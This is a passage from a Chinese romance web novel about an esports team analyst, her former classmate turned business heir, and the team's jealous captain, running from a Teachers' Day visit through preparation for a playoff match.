紧接着跟了个表情包,祁招勾了下唇角。
“啊,好可惜,bless竟然不跟我们一起。”中单发出慨叹,侧身闲聊询问。
“她跟谁一起,有讲吗?”
懒散地丢下背包,祁招一个人坐在后排一列。
“没说。”
辅助转过来,趴在椅背上八卦:“是她那个室友吗?”
上单也探出脑袋:“是不是中元节那个?”
打野不放过八卦,跟着吃瓜:“不会是……男朋友吧。”
方才稍稍勾起的唇角,瞬间平直放下去。
祁招掀起眼皮,冷笑吩咐:“找我干什么,自己去问她啊。”
--
洲安城里,老城区的教职工宿舍,梁以盏和祝陶浮在楼底下,按响门禁的对应房号。
“哟,是小梁和小祝,快进来快进来!”
一道苍老但还算精神的打招呼,从扬声器里传来。
高中祝陶浮找她补习的时候,楼下还没有设置门禁。
推开铁门,狭窄老旧而干净的水泥楼梯,依旧是记忆里的样子。
两人走到5楼,敲了敲房门,屋内陈设亦然,老太太还是精神矍铄,就是头发花白得差不多了。
“哎呀,你说你们两来就来,还带这么多东西。”
重一些的补品梁以盏提在手里,送给她的花束则是由祝陶浮拎着。
“老师,节日快乐。”祝陶浮将花递给她,甜甜一笑。
站在祝陶浮身侧,梁以盏跟着点头问好。
“教师节快乐。”
当年祝陶浮背着祝家偷偷摸摸上补习班,其他课程她自己找的勉勉强强,模拟考试分数没有太大问题,唯独英语始终是个心头大患。
沿海的英语考评不同于中部的应试笔试,分数占比高、形式多,祝陶浮练得磕磕绊绊、
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不得章法。
后来跟梁以盏熟悉以后,国外长大他虽讲解得通俗易懂,但每天在外忙于其他事情,祝陶浮不便过问。
不过梁以盏派人,替她找到了这位退休的高级教师梅老师,她授课详细精准,为人也十分和蔼亲切。
有时候是下午上课,晚饭就在她家里吃;有时候是晚上,祝陶浮从其他科目补习班里匆匆赶过来,梅老师就等她一起吃。
梅老师带完祝陶浮参加高考,便去了国外孩子那里定居。
这些年过去,祝陶浮一直记得梅老师的细心与温暖。
最近她回国,祝陶浮也刚好在洲安,她过来看望梅老师,梁以盏与她一路前来。
“你们两个孩子,真是太有心了,小梁是越来越帅,小祝也是越来越漂亮!”摘下老花镜,梅老师左瞅瞅、右瞧瞧,越看越满意。
梅老师是传统教师类型,无论学生多有成就、年纪多大,在她眼里都是孩子。
“哈哈哈,郎才女貌,实在是般配,什么时候,请我喝喜酒啊?”梅老师笑眯眯问。
祝陶浮一愣,有些犹豫不知道怎么接话。
“哦,我懂了,你还在生小梁的气嘛。”梅老师善解人意,看出两人之间的端倪,遂嗔怪道:“平时都会抽空来接小梁,高考完后竟然不告而别,要我说实在过分,的确该晾着。”
一边说,一边一手挽着祝陶浮的手,一手拽着梁以盏的袖子,往餐桌走。
梅老师将他们两拉着的时候,二人的手指不小心碰在一块。
却又很快地,蜻蜓点水式的,分离开来。
“来来来,先吃饭,待会儿啊,就罚小梁去洗碗。”
一桌子家常菜,看得出梅老师很是用心,吃起来还是记忆里的味道。
“你上班忙,我就问小梁你什么时候下班,菜做完刚刚好,还是热乎的,趁热吃啊。”梅老师说着,去厨房榨果汁。
虽然梅老师是个开明时尚的老太太,到底年龄已高,不懂电竞。
但通过这段时间和梁以盏的闲聊,他一定是知情人。
“你怎么知道,会是这个时间点。”比赛有太多不确定性,结束的时候没有确切时间,然而梁以盏告诉梅老师的饭点,却大差不差。
侧瞥眼眸,梁以盏闲散道:“这不是你告诉我的。”
的确诚如他所言,是接祝陶浮半夜回家路上,她随口聊天提及的。
这并不涉及战术机密,类似解说主持进行的赛前预测,充满着各种各样的可能性。
祝陶浮仅仅说,要是胜利的话,就会是三比一。
QSG赛训组的其他教练保守估计,还会是很艰难地三比二,而非快速结束的三比一。
祝陶浮怔了怔,才道:“可我说的是胜利,这也不一定的……”
没什么所谓地嗯了声,梁以盏偏头听她讲话。
“但你赢了。”
梅老师端着果汁走出来,见到的就是祝陶浮悄声说着什么,梁以盏慵懒地侧看向她、却又不失耐心地倾听着。
“这就对了嘛,你们高中时候也是这样,经常餐桌讲小话,也不让我这个老太婆听。”梅老师笑道。
“小夫妻哪有隔夜仇嘛。”
瞬间停止讲话,祝陶浮坐正了身子,望着梅老师:“老师,你是不是用词,有点错误?”
调皮地哦了声,梅老师冲她挤眉弄眼:“我教英语的,语文的确不好,很正常啊。”
祝陶浮:……
暖黄灯光下,不知是赶过来热的,还是梅老师太过热情,祝陶浮白皙侧颜,泛着浅淡绯红。
坐在她身侧,梁以盏冷峻眉眼垂睨,沉静灰眸落于那一点红,泛起微不可查的笑意。
19.第 19 章
晚上QSG还要复盘,两人在梅老师家里没有多作停留。
今天是教师节,路上的大人小孩,很多手里捧着花束和手工贺卡,送给老师表达感谢。
司机将车停在基地附近拐角处,那里人烟稀少,过往事物不会太引人注意,也是梁以盏每天接祝陶浮下班的地方。
祝陶浮道了声谢,就要下车,梁以盏却跟着她一起下来。
“怎么了?”祝陶浮问。
后备箱打开,是一大束鲜花。
老城区的教职工宿舍,路段交通狭窄拥堵,司机在巷口停下即走,送给梅老师的礼物和花束放在后面的第三排座位,便于快速取拿。
基地拐角处的尽头,24小时便利店门口大路宽阔平坦,行人三三两两,有时间和空间打开后备箱。
相较送给梅老师中式审美的雅韵沉香,此时随风摇曳的花束更为耀眼热烈。
梁以盏单手将花束抱下车,在祝陶浮疑惑的眼神里,慢悠悠递捧给她。
扑面而来的簇簇馨香,将祝陶浮兜头淹没。
她怔了怔,慢半拍地才双手接过花束。
路灯下,花蕊明亮柔和,映照在她乌黑瞳仁里,晕染出鲜艳缤纷的颜色。
透过天鹅绒似的厚重花瓣,祝陶浮眨了眨眼眸,望向眼前人。
“你是不是搞错了,我不是老师……”
语调是一贯的散漫慵懒,拖腔带调里难得半分认真,梁以盏缓缓开口。
“节日快乐,bless。”
晚风吹拂,花束层层叠叠,祝陶浮低垂眼睫看向花瓣,轻声道谢。
--
“哇,我们美女分析师太受欢迎了,竟然有人抢在我们前面,送花了!”
QSG一行在餐厅吃过晚餐,回到训练室复盘,由年龄最小的辅助捧着鲜花,给祝陶浮送去教师节的祝福。
已经很隐蔽地将花束放在自己座位下面,祝陶浮特地往桌子奈何梁以盏挑的花,瓣蕊饱满硕大、娇艳欲滴,想不注意到都难。
方才当场,祝陶浮接过花后,又犹豫着把花再次递给梁以盏。
理由是,反正总归要带回去,晚一时不如早一时。
“怎么,你要给我当家教?”梁以盏丢下这么一句玩笑话,徒留祝陶浮思索。
没思考出结果,意思是工位在基地,所以应该放训练室吧。
“我看看,是谁送的!”
一大捧花被他们挪到桌面,翻找了一番,可惜的是没有看见留下贺卡。
“做好事不留名啊,这位同学。”
队员们调侃着说,祝陶浮是分析师,师生关系,对方当是称作同学。
不过祝陶浮心里清楚,她和梁以盏以前,的确是同学关系。
有些没由来地,祝陶浮更沉默了。
落在众人眼中,大家不约而同地夸张地哦了声,恍然大悟:“不会不是祝教师节快乐,就是男朋友送花吧?”
他们越说越觉得有道理,后知后觉从花的种类捕捉蛛丝马迹:“队长有经验,好歹是玫瑰里夹着向日葵,bless这一大捧,可全是玫瑰!”
……
“……没有。”从未觉得复盘前的准备时间如此漫长,祝陶浮无奈,转移话题:“还不开始投屏吗?”
“哦,队长在外面打电话,应该快了。”打野。
中单感叹:“还没到休赛期,队长没空出去约,估计只能电话聊以慰藉了。”
最开始绯闻满天飞,俱乐部还会澄清处理。
架不住祁招依然我行我素,QSG经理苦哈哈地自我安慰,黑流量也是流量,随他去了。
全队上下已然脱敏,本人不在意,平时会调侃他约会连绵不断。
循声朝玻璃窗外望过去,祝陶浮瞥见夜色里的一点橘色猩红。
狼尾桀骜,懒散地叼着烟,祁招握着手机,有一搭没一搭地聊着,留给屋内人收锋凛冽的侧颜。
在祝陶浮望向窗外时,他似乎若有所觉,朝着这边,看了过来。
—
五天后,QSG将对战排行榜的榜一队伍。
这场比赛的输赢,会决定哪一支队伍晋级决赛。
尽管输了还有一次机会,掉入败者组pk名额。
可若在败者组里晋级,第二天就会是决赛,相当于背靠背要连战两个bo5。
不到24小时,两场比赛,是体力与脑力的巨大消耗。
在最后的关头,谁都不愿意掉入败者组。
这也是之前,赛训组同意祁招和祝陶浮,在季后赛的开始进行新体系、新英雄的摸索。
越往后越不敢输、也不能输。
既有的基本功,在强压之下都会昏头,遑论发起新的挑战。
训练室的灯,熄灭的越来越晚,几乎快要与晨光平行。
从训练室到老洋房的一段路,成了祝陶浮唯一较为放松的时光。
梁以盏不喜甜食,祝陶浮说不上多爱,但每天在街角路口的24h便利店,买点小甜水、或者小糖果,奖励犒劳辛苦了一天的自己。
然后可以什么都不想,放空大脑,只是看着寂静路灯与稀少车流,与身边的人随意闲聊。
厨房每天卡着她回来的时间,在餐厅里备好熬制补脑的药膳,放在桌上的时候温热适宜,刚好入口,不会耽误她过多休息时间。
配合膳食,旁边还整齐罗列着其他营养片剂和胶囊的补充。
先前祝陶浮从节省的角度考虑,跟管家说让佣人不用中午备菜,自己在基地吃饭。
现在同样是为了节约,梁以盏表示,一个人喝不完瓷盅里的药汤。
养生学上,日出而作、日入而息,三更半夜不适宜进食过多。
一锅珍贵食材,熬制出来怎么也有大半碗。
而只要梁以盏和祝陶浮在家里,佣人们做完这些就下去休息了,待到后面再来收拾。祝陶浮想把汤分给其他人,都没地方。
电竞行业总体年轻化,相较祝陶浮上一段在科技产业园的实习,涉及输赢压力会更到,但工作环境的气氛,则欢快活泼不少。
即使现在的电竞大环境,没有从前老一辈选手为爱发电那么纯粹,各方资本云集,纷纷下场想分一杯羹,将这摊清水搅和得浑浊,总还剩下一点干净的真心。
平日里跟选手们相处,他们彼此之间插科打诨,会跟祝陶浮友好地玩笑闲聊,祝陶浮比在实习时放松随意许多。
夜半三更累了一天,大脑累得宕机,运转缓慢,再加上调侃习惯,她喝汤的时候,难得大着胆子,正眼盯着对面的人看。
并且盯了很久。
起初梁以盏以为她是有什么话想说,望着自己犹豫开口,就跟从前很多时候一样。
但他发现,祝陶浮的视线微微向上,并没有落在自己冷艳峻挺的眉眼间。
放下碗筷,梁以盏声音没有什么起伏:“在看哪。”
“看你
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。”祝陶浮答得如此坦诚,他反倒短暂陷入沉默。
片刻,他往后依靠在座椅,懒散开口:“是吗,没觉得。”
点了点头,祝陶浮:“看你头发。”
梁以盏:……?
“你说你每天晚睡早起的,头发还这么多。”祝陶浮思索:“其他企业家,都头秃成地中海了。”
上次跟祝峥聚会,大部分企业家人到中年,避免不了发际线后移、身材发福,祝陶浮由衷感慨:“这可能就是,年轻有为吧。”
发自内心的夸赞,梁以盏并不怎么想接。
眼尾撩起,意味有些不明,梁以盏:“上了年纪,就会开始嫌弃吧。”
一般这种情况,会是干脆利落地回答,不会。
可祝陶浮偏偏转了转眼珠,仿佛在认真思考他提出的问题。
这个行为,比说会,还令人无法言喻。
“应该不会。”祝陶浮讲。
“毕竟你五官在,网上不是说什么,一个人好看,光头也会帅气吗。”她讲得有理有据,没有发现对面愈发沉默。
喝完碗里最后一勺汤,累了一天的大脑,才反应过来,嘴巴刚说了什么。
“额,我是说。”她眨了眨眼,慢半拍地找补:“你脸在江山在,嗯。”
--
洲安城里,一处高档茶楼会馆,舞台上正在为宾客吟唱戏曲。
亭台楼阁,山水画卷,袅袅烟雾古色古香,端得是雅致风流。
今天商务包场,接待权贵人士,他们在二楼包厢里坐享最佳观赏位置。
彼此间谈笑风生,以婉转戏曲作背景,洽商着项目合作。
大致方向聊得差不多,协议条款后续再慢慢商议。
方才是拿戏曲充当议事的舒缓氛围,现在可以品茗、细细欣赏。
其他人对茶叶甘醇品质赞不绝口,纷纷表示梁氏集团有心了,茶汤回味饱满清香。
轻点下颌,梁以盏淡然示意,然后侧瞥眼眸,懒洋洋地观看台上表演。
心情似乎还不错,裴瑄压低嗓音,与他闲聊:“今天的戏班,据说是你那两位长兄,特意搭台请人表演。”
他们两人搜罗到消息,今天的几位合作商里,以一位来自中西地区的项目老板,作为牵头。遂请了具有他家乡风格的川剧戏班,提前预留好印象。
只可惜,这位客商是本身对川剧说不上喜、也说不上恶。与其说喜欢本土文化,不如说他走南闯北,更为偏好新鲜事物。
比起从小到大听了百遍的剧本,他更愿意听听洲安当地评弹,品味特色韵律。
桌上有人提及,平时这座茶馆没有川剧,是有人特意请了班子前来。梁以盏带出来的新助理,顺势在旁边补充。
“是梁董挑选的好地方,梁靖明和梁煜两位少爷听闻,便请了戏班给大家助兴。”末了,她补充:“大家都是希望,能与梁氏集团,成功达成合作。”
合作商淡淡一笑,不置可否。
转而询问,对面神情清冷慵懒的看戏之人。
“梁董看得这么入迷,莫非对川剧颇有研究。”
梁以盏看向他,平静地说:“研究谈不上,我也跟你一样,消遣而已。”
“哦?那指点一二?”合作商。
音乐铿锵、锣鼓一响,舞台上正进展到最为高潮的部分,表演经典变脸。
片刻,梁以盏漫不经心地说:“变来变去的,终归是,脸在江山在。”
20.第 20 章
脸在江山在,这句话说得太对了。
一旁的裴瑄连连点头,不住称赞:“只要你梁以盏在,有他们两什么事。”
“即使最近,秋后蚂蚱似的蹦跶,说要重新进董事会,有你坐镇,也不怕他们乱来。”
梁以盏看向舞台表演,平淡地说:“太丑了,进不来。”
听他这话,不知道的还当时酒吧的卡颜局,长得不好看的直接踢除。
裴瑄忍住笑,压着嗓嗓音好奇八卦:“你怎么忽然,有了点幽默感?”
斜了他一眼,梁以盏凉凉出声:“要不我给你弄个喇叭,声音再大点让大家都来听听笑话。”
裴瑄连连摆手,视作求饶。
带来的新助理,说她有眼色又像没有眼力劲儿,有专门的侍者在一旁服务,她也是跟着一起,殷切地为男男女女的企业家们斟茶递水。
然而聊天水平着实一般,显得极为刻意,所虑之事,路人皆知。
“接下来的这道茶点,是梁家大少爷和二少爷,让人准备的。”她说。
“各位老板觉得泡好的茶叶口感不错,茶点则是用相同的原料烹制。”
伴随着添置换盏的茶香,糕点品种也随之更改。
此刻本应该是莲蓉酥,侍者呈上来的却是绿茶糕。
桌上的茶叶价值千金,不对外流通,亦是难求。
助理的意思,这道茶点成片地碾磨为酥实的糕点,一口咬下去比饮下一杯茶,价格贵多了。
偌大包厢屏风相隔,摆放三张花梨木桌。
在她柔声细语之时,桌上的宾客,有的看了她一眼,并未接话,有的是磕着瓜子,眼神仍在戏曲上。
依然各自畅聊着无关紧要的话题,没有人直切助理的话语中心。
预想中的对白没有达到,助理有些尴尬,拎着茶壶的手指,不自觉地绞在一起。
她已经尽力将情绪隐藏起来,但在座的都是人精,千年狐狸前玩聊斋,属实小巫见大巫。
给她面子,高看她一眼,没有出言嘲笑,因为是梁以盏带出来的人,才不好格外作弄。
目前这位助理两三句话下来,肤浅愚蠢得根本不像梁以盏的作风。
而梁靖明和梁煜,虽不如梁以盏在商场上叱咤风云,能存活在梁家争得一席之地,心机沉重、讳莫如深,绝非等闲之辈。
众人不语,彼此看向对方的意味已经了然。
助理明显是个炮灰,是梁氏集团的两派势力,扔出来的小石子。
激不起千层浪,投入这看似平静、实则涌动暗流里刹那间陨殁。
不过,至少江流表面,会泛起片片涟漪。
这些人装作若无其事,心里到底打得什么算盘,只有自己知晓。
选择茶还是茶点,都选择还是都不选,来日方长。
察觉到大家都无视自己的反应,助理虽然尴尬难受,但竟然硬生生撑住场面,茶壶稳稳地端在手中,放回身后侍者的托盘上。
笑容惨淡难看,依然保持住表情,讪讪退至紫檀木屏风背后。
“诶,我都有点同情你那助理了,吃力不讨好,怪可怜的。”眼瞅佳人委曲求全还求不到,凄凉退场,裴瑄止不住感慨。
梁以盏没什么所谓,偏撑着下颌,眺望窗外。
“你就嘴上心疼,还不去英雄救美。”
皮囊帅气风流,奈何总是喜欢犯贱,拉低颜值档次。
裴瑄嘻嘻笑道:“那多俗套,我要看美救英雄。”
全球气温越来越异常,洲安以前到了秋季,炎热干燥,现在时不时会天降骤雨,淋得人猝不及防。
“哟,怎么突然变天了。”雕花窗棱外,方才艳阳高照,浓云翻了几滚,灰蒙蒙的雾随之赶到。
阴云天幕凝结在空中,将落未落。
即使室内悠悠转着凉风,天气压抑得令人仿佛置身于密不透风的旷野,呼喊不得回应,唯余沉闷无声。
茶楼庭院里的名贵花草,不堪大风摧折,片片花瓣零落,惨败而诡异的别样美感。
裴瑄看着阴云,叹了口气:“也不知道雨水,到底什么时候会降临。”
--
榜一挑战在即,QSG全员全力以赴。
季后赛最精彩的,当属这场胜者组对决。
QSG具有明星选手,人气高、流量大;榜一不如QSG热度高,整个队伍的队员风格属于稳扎稳打,不是刀尖舔血的风格,粉丝原不及QSG。
但到底是榜一,人都有慕强心理,粉丝随着他们成绩排名上升而不断增长。
胜者组的焦点之战,双方都将状态调整到最满,既是给自己、也是给所有人一场精彩绝伦的盛宴。
从加入QSG以来,祝陶浮很努力地调整作息。
奈何出自小时候的习惯,早睡早起,上学以后是迫不得已才熬夜。
本身不是卷王性格,就算是为了学习,她尽量在凌晨前结束睡觉。
母亲所租房子在郊区,附近小山上有一所小道观,里面的道士三三两两,人数不多但都跟住持一样,随和友好,经常会给供果让祝陶浮吃。
道观里面早睡早起、作息规律,母亲在世时有时间便会去拜拜,久而久之,让祝陶浮也要跟道长们一样,养成日出而作、日入而息的良好作息。
既是为了身体健康,也是符合天地间阴阳调和的规律。
电竞行业昼伏夜出,恰巧与传统时间相反,连日来的备战,祝陶浮分析版本、地图、bp等等数据,从未有过丝毫偏差。
但就祝陶浮自身的睡眠习惯而言,大脑已经燃尽了。
高强度运转,导致身体反应跟不上。
她明明包里装了雨伞,结果莫名其妙,落在了训练室的工位上。
太困了脑子反应不过来,祝陶浮白天里剥荔枝剥得心不在焉,结果荔枝壳留在手上,果肉扔进了垃圾桶给她心疼坏了。
从基地出来走了几步,天空簌簌飘着雨滴,祝陶浮思考,是返回训练室拿雨伞,还是径直往前,小跑回去。
正在她犹豫的时候,头顶上倾斜过来一柄黑伞。
脸颊上的点点水珠,在夏夜的暑热里消失。
随之而来的,是雨滴落在伞面上发出的细微闷响。
循声望过去,路灯光线几乎被昂贵黑伞遮盖严实,泄下来的微弱光晕,镀绕在他清晰分明的指骨,往上是深邃冷冽的下颌侧颜。
以往两人会在基地街角碰头,没有特地约定,却心照不宣。
现在梁以盏提前到来,祝陶浮眨了眨困倦的眼睛,莫名来了一句。
“我其实,带伞了。”
只是忘记装在包里。
前言不搭后
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语,她自己说出口也觉得逻辑不通。
没有过多计较此话,梁以盏浅应了声,半垂着眼眸看向她:“你是在求表扬?”
他怎么说话也奇奇怪怪的,祝陶浮原就浆糊的脑子更发晕了。
眨了眨眼,圆润眸瞳努力睁着想要看清。
光线昏暗,伞面隔开雨雾,伞下像是另一个独立而拥挤的世界。
拥挤到,她能看到梁以盏鸦羽似的浓长眼睫,在黑伞遮挡的光线里,泛起细碎薄凉的阴影。
雨水湿重,交错呼吸。
片刻,祝陶浮听到对方很轻浅的笑声,颇为玩味:“让你失望了,没有小红花。”
拿不出伞、只能与他相共,祝陶浮:……
在她考虑如何回怼,基地门口有人在叫自己。
“祝陶浮。”
一字一顿嗓线低沉,没有平日里调笑语气,但音色慵懒熟稔。
祝陶浮回头,发现祁招手里拿着伞,正站在基地门口。
基地门口的夜灯明亮,他逆着光线,神色看不太清。
身体比大脑快,祝陶浮本能转身,趁着梁以盏还没有侧眸,她柔软指尖搭着梁以盏的手腕,迅速牵拽着他头也不回地往前走。
更准确地描述,是小跑。
她小跑的步伐急切凌乱,梁以盏身高腿长,笔挺长腿随意地迈跟在身后。
隔着雨雾,夜色里黑伞下的男人身形高挺影绰,但祁招能强烈感觉到,对方临走前,似乎回眸,轻飘飘地瞥看了自己一眼。
明明自己站在台阶上的明处,居高临下,但来者气场没有丝毫退却,目光如有实质般,沉缓碾压了过来。
寂冷无声,界限分明,斩断一切妄念。
松握着伞的手指倏地收紧,祁招冷嗤了声,微眯着眼神注视两人渐行渐远。
--
夏末初秋的雨势不算剧烈,雨丝淅淅沥沥,落在人身上轻缓绵柔。
没有六年前的暴雨如注,祝陶浮拽着梁以盏穿过狭窄小巷,他伤痕累累她却比他更为着急紧迫。
但此刻在宽阔寂寥的大街,她摁在他的手腕上,感受到血管下的脉搏跳动,一样清晰鲜活。
像是轻轻触摸,他的心跳。
转过24h便利店,车停等在路口。
视线渐渐清明,脑子后知后觉地缓慢运转,祝陶浮放下手指,梁以盏宽大修长的手,却反握住她纤细脆弱的手腕。
“下雨了,上车。”梁以盏嗓音落下,声调慵懒,却带了些不容置疑的意味。
没有派司机接送,梁以盏自然地坐上驾驶位,替半是困倦、半是懵懂状态的祝陶浮,整理副驾安全带。
车内空调风幽然冷凉,祝陶浮感到他俯身靠近过来,气息凛冽,吐息却灼热,如同窗外黑夜里的雨水,湿重而粘稠。
“……我自己来。”手指轻轻擦过他骨节分明的手背,凸起的血管与她方才搭在他脉搏上的跳动一样,尚存着急烈动作后的余热。
祝陶浮稍稍侧脸,避过低头整理,梁以盏没有强求,拉开距离坐会座位,发动轿车。
车内寂静无声,他眼神落在前方的昏暗道路,语气略带轻哂,与身侧之人交流。
“来什么。”梁以盏聊得闲散,祝陶浮心里蓦然一紧。
“逃早恋吗。”他眉眼微挑,若无其事玩笑道。
21.第 21 章
距离胜者组比赛,不足48小时。
这几天全员训练状态拉满,夜以继日备战。
平时赛训组给大家上紧箍咒,此时则让大家放松心态,轻松应对,才能取得胜利。
哪怕比赛过一场又一场,rank排位一轮又一轮,在聚光灯下,在众人眼光里,人非草木,心态若绷得太紧,迟早会失衡。
无数血泪教训换来的前车之鉴,从胜者组的比赛开始,场地从平日里容纳数百顶多千人的密闭空间,转向数万人的开敞式场馆,这对于心理挑战更上一层楼。
万人瞩目,是期待,是压力,全看临场发挥,如何应对。
赛训组自然给大家放轻松、丢掉思想包袱,超常发挥实属难求,能正常操作就成功了一半。
然而这种例行寻常的环节,在教练说完安慰话语的心灵鸡汤,不想喝可以表态端着,祁招却一反常态,直接踹翻了汤碗。
“只剩下一天多的时间,有些人还是不要松懈。”
语调依旧懒散,却暗含着气音,将“我很不爽”四个大字清清楚楚摆在明面上。
“人在这儿,魂却飞了,就别坐在这里假努力、无用功。”他冷冷道。
除了祝陶浮,其余人等莫名其妙。
你看看我,我看看你,然后大家都把目光转向祁招。
“兄弟,何意味。”上单疑惑,怀疑是不是自己通宵多了,头晕眼花。
他认真发问,说出大家的心声:“这个有些人,不就是你嘛?为什么突然当众自我检讨?”
过往绯闻不断、劣迹斑斑,导致信誉度为负数,祁招:……
“比赛时段,我可从没有乱来。”他顶了下腮,颇为不屑。
对此,打野摇头:“颠倒黑白。”
中单跟着附和:“倒打一耙。”
辅助则弱弱地控诉:“……指鹿为马。”
队员们年轻,赛训组笑作一团,任由他们组词编排祁招,损一损队长平日里的嚣张气焰。
而祝陶浮就比辅助年长,团队里年龄尚小,也是想让她轻松融入,副教练笑眯眯地望向她:“小祝,你也一起来啊。”
压力给到祝陶浮,顶着众人目光,以及祁招专门对准她的审视。
不说显得有些心虚,只好硬着头皮接龙。
“……贼喊捉贼?”她犹疑开口。
祁招冷哼一声,眼神狠狠钉住她:“知道就好。”
监督诶了句,笑着指向他:“你说的,不是成语啊。”
玩笑作为结尾揭过,算是圆满结束。
祁招偏不让,反而掀起眼尾,瞥看着祝陶浮,像是在探寻什么。
“是吗,bless是在场文化水平最高的,那你说说,你挑的词,什么意思?”
知道他是意有所指昨晚的事,可祝陶浮觉得他挑刺的莫名其妙,就好像她下意识地拽着梁以盏远离现场。
可能是队长角色定位像班主任,虽然祁招没有一点班主任的正经。
还是有一点,胡乱发脾气。
以及,他们那混乱的私立高中,不抓早恋。
轻咳两声,祝陶浮解释她挑的词,回怼他的挑刺。
“这是对你的寄语。”
两极反转,祁招:?
“ad发育好,自然要会偷钱。”祝陶浮正襟危坐,一板一眼:“所以贼喊捉贼,是希望你能和对面ad,拉开差距。”
末了,她补充:“加油,赛场上经济争取对位多多领先!”
祁招:……
独自受伤的世界达成,训练室里其他人等笑作一团。
“……插科打诨。”祁招咬牙,点她蒙混过关。
祝陶浮眉眼弯弯,回他一个漂亮笑容:“妙哉妙哉。”
--
时间来到胜者组决赛当天,祝陶浮泡在训练室一夜未归。
全球气候异常,洲安局部忽冷忽热,细雨淅沥,困住人难耐潮闷。
白日里气温燥热,训练室空调冷风幽幽。到了傍晚体感温度依然较高,祝陶浮将训练室的玻璃窗打开,吹吹室外的自然风。
一个人在屋子里既是节省电费,也是呼吸一下新鲜空气,清醒昏昏欲睡的头脑。
大脑已然发出睡眠的指示,身体细胞异样清醒。
两种截然相反的生理状态拉扯,祝陶浮也不明白自己这股兴奋劲头从何而来,索性坐在工位上,抓紧最后的时间,梳理团战的落位点。
榜一的TKL,和榜二的QSG,在对线期间几乎势均力敌。
很难会跟之前的比赛一样,从进入峡谷的开始,就出现经济碾压的局面,从而达到滚雪球胜利的效果。
所以什么时候换线,什么时间点团战落位,则显得至关重要。
偏偏TKL的风格就是稳扎稳打,要想破局,非得以奇制胜。
赛训组和大部分队员的意愿,建议以熟悉的bp阵容为主,在此基础之上,再谈后续换线与团战。
但祝陶浮将TKL这一年的过往比赛录像,逐一分析、标点定位,他们整体都极有纪律性,想要横冲直撞破阵,几乎没什么翻盘点。
曾经一些排名靠后的队伍,没有榜单积分的枷锁,格外地勇于冲锋陷阵,打得TKL措手不及,使其在常规赛意外落败。
但那是bo3的三局两胜,不是bo5的五局两胜。
多出来的两场较量,对于赛训组的考验差别,犹如天堑。
所谓弱队,某些时候并非是队员实力太差,而是俱乐部资金不足,维持队伍运营实属不易,仅能发出工资给队员们,没有多余的费用支撑赛训组。
因此TKL并非不可战胜,排名靠后的“莽夫队”,年轻小将们以自身血泪经历,提供给了看客经验。
看客与入戏,是两回事。
道理人人能够知晓,真到了那一刻,赛场内的状态、时机把控,和赛场外的舆论、赞助投资,考虑的因素过多,从而举棋不定。
过往的交手记录,QSG与TKL是四六开。
四的赢面都是常规赛bo3赢下来的,六的输给TKL,全是在bo5。
bo5对方屡次阻拦,QSG排名才始终居于其后。
QSG除了辅助年龄过了宝宝锁,属于赛场新面孔,其余四人均为身经百战的老大哥。
二十多岁在其他领域都是新生力量,唯独电竞,渐渐走向年老。
屡次征战,好坏参半。
好在经验丰富,处理各种突发情况,能尽可能地规避应对。
坏处亦然。
电竞项目终归是输多赢少,冠军只有一个。
对于竞技比赛而言,只会记得第一名,没有人记得第二名。
一步之遥,所有人不得不慎重以待。
祁招年龄比祝陶浮大一岁,23岁的年纪,在电竞里渐渐靠近老
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将的定义。
但他依然如年少时敢拼敢打,岁月赋予他阅历上的增长,却并未像其他人那样把棱角磨平粉碎。
在这场焦点之战,祁招与祝陶浮意见一致,整个队伍就是要从bp选择的源头切入,断掉TKL稳字当头的计划。
“祁队和小祝,我知道你们是想赢下比赛,可也得从实际考虑一下。”教练叹了声气,剩下的队员们沉默以待。
其实他们明白,祁招和祝陶浮是对的,可人往往就是选择不对的那条路。
“选出自己不擅长的英雄,搭建自己不擅长的体系,面对心魔实属不易,更何况还得战胜。”教练道。
“胜者组这场,按原定计划,我们不主动出击,还是玩自己擅长的那一套,作为应对的那一方,见招拆招。”赛训组一锤定音。
外界常常痛批祁招作风恣肆散漫,作为队长不够合格。
这段时间相处下来,其他方面祝陶浮不了解,至少赛场上,祁招是真的有把QSG当成一个team。
承担着bp选择的牺牲位,亦容纳着不一的意见。
恰如此时,尽管祁招不甚赞同其他人的意见,拉下脸色、一副拽得二万八五的模样,还是服从剩下多数的意愿,保持整个团队的协作。
“我是不懂你们担忧的点。”躺靠在电竞椅上,祁招翘着二郎腿,脸色极为黑沉。
“都有一次掉入败者组的复活甲,还有什么好怕的。”
就算没有复活甲,祁招依然敢于做出突破自我的选择,在他眼里,有一次复活机会,岂不是心态上应该更轻松,而不是怯懦地缩回舒适圈。
监督出声打圆场,心平气和:“因为,不是所有人,都是你祁招。”
既然定了方向基调,祝陶浮只能在原有战术基础上,尽可能延长队伍长板,将短板在赛事里巧妙处理后隐藏起来。
坐在电脑前,她揉了揉眼睛:
希望不要打到第五把。
到第五局,双方各自都耗尽长板、弹尽粮绝,短板无论如何,都再也藏不住了。
训练室的门纸吱呀响动,祝陶浮以为是刮风下雨,将门吹开,遂准备起身去关门。
身体过于疲倦,尚未撑着从座位上起身,对方先朝她走了过来。
原来不是风吹雨打,是祁招返回训练室。
此时队员们都回楼上的宿舍休息,他去而复返,手里拿着什么东西。
实在是困倦,祝陶浮睁着眼睛,愣愣地看着他。
还未看清是什么东西,她眼前一黑,一条羊绒毯兜头罩了过来。
“这个点儿运营都下班了,随便从我那儿薅了条过来。”走到她桌子旁,祁招懒懒道。
胡乱从头上扯下来,祝陶浮看了看他,又低头望向盖在自己身上的绒毯。
这个logo,好熟悉。
强撑着在脑海里搜寻相似记忆,她后知后觉,想起来搬家那天,在梁以盏车上睡着的时候,盖的绒毯,也是这个品牌。
祁招随不随便不知道,这个牌子昂贵得一点都不随便。
停顿思考片刻,她想了想,就要将绒毯还给他。
祁招看出她的意图,嗤笑道:“嫌脏啊。”
祝陶浮摇头,还欲说什么,他抢先一步道。
“那就是,避嫌。”居高临下地睨着眼尾,他狼尾蓬松散乱,垂在挺峻眉骨,一双眼锋锐得无所遁形,像是要看穿人心底。
22.第 22 章
从TKL和QSG的季后赛开始,比赛场地由之前祝陶浮实习附近的场地,转移到万人的体育场馆。
聚光灯亮,舞台偌大,官方要求队伍需要做下妆造,别跟平时一样洗个头就上场。
之前别的队伍,还有不在意形象,不洗头上场。
联盟罚款数万,瞬间其他所有人都老实了,乖乖收拾形象。
TKG身为业内豪门战队,商业化运作较为成熟,联盟雇佣化妆师,TKG 有自己的化妆团队,到时候跟去比赛现场。
因而大家比平时早起,涉及到妆造和为了迎合大型场馆、而增加的一些表演观赏性环节。
众人赶到训练室收拾外设,祝陶浮正趴在桌子上,困倦地眯着眼睛。
身体上疲倦,精神却清醒,睡不着只好闭目养神。
